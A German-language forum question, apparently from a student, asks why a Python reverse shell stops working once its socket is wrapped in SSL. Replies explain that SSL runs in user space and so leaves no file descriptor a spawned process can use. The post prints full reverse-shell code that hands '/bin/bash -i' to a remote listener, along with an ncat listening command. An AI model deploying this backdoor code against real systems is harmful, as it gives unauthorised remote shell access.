Für mein Universitätsprojekt muss ich ein Remote Access Tool mit Python erstellen. Ich kann es einfach auf einem einfachen TCP-Socket tun, aber wenn es um einen SSL-Socket geht, bekomme ich Probleme. HierReverse Shell über SSL in Python
ist der Code:
#/usr/bin/python3
import socket
import ssl
import subprocess
import os
# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234
# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
p = subprocess.call(["/bin/bash", "-i"])
Wenn ich versuche, mit ncat --ssl -nlvp 1234
auf der anderen Seite zu hören, die Reverse-Shell verbindet und trennt sofort, aber es passiert nichts; Und wenn ich die sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)
entferne, bekomme ich eine funktionierende Hintertür, aber auf einem Nur-Text-Socket.
Kann mir bitte jemand das Problem erklären? Und vielleicht gib mir eine Lösung?
Danke, ich bekomme den Fehler, den ich mache. Gibt es eine Möglichkeit, den SSL-Dateideskriptor zu bekommen, damit ich direkt in meine umgekehrte Shell schreiben kann ?? – Sidahmed
@Sidahmed: again - der Kernel-Dateideskriptor ist nur der TCP-Socket und das SSL ist im Benutzerbereich implementiert. Es gibt keinen "SSL-Dateideskriptor", der von einem erstellten Prozess verwendet werden kann, da der SSL-Status nur in dem unterschiedlichen Benutzerbereich des ursprünglichen Prozesses existiert. –
Ah OK, vielen Dank. – Sidahmed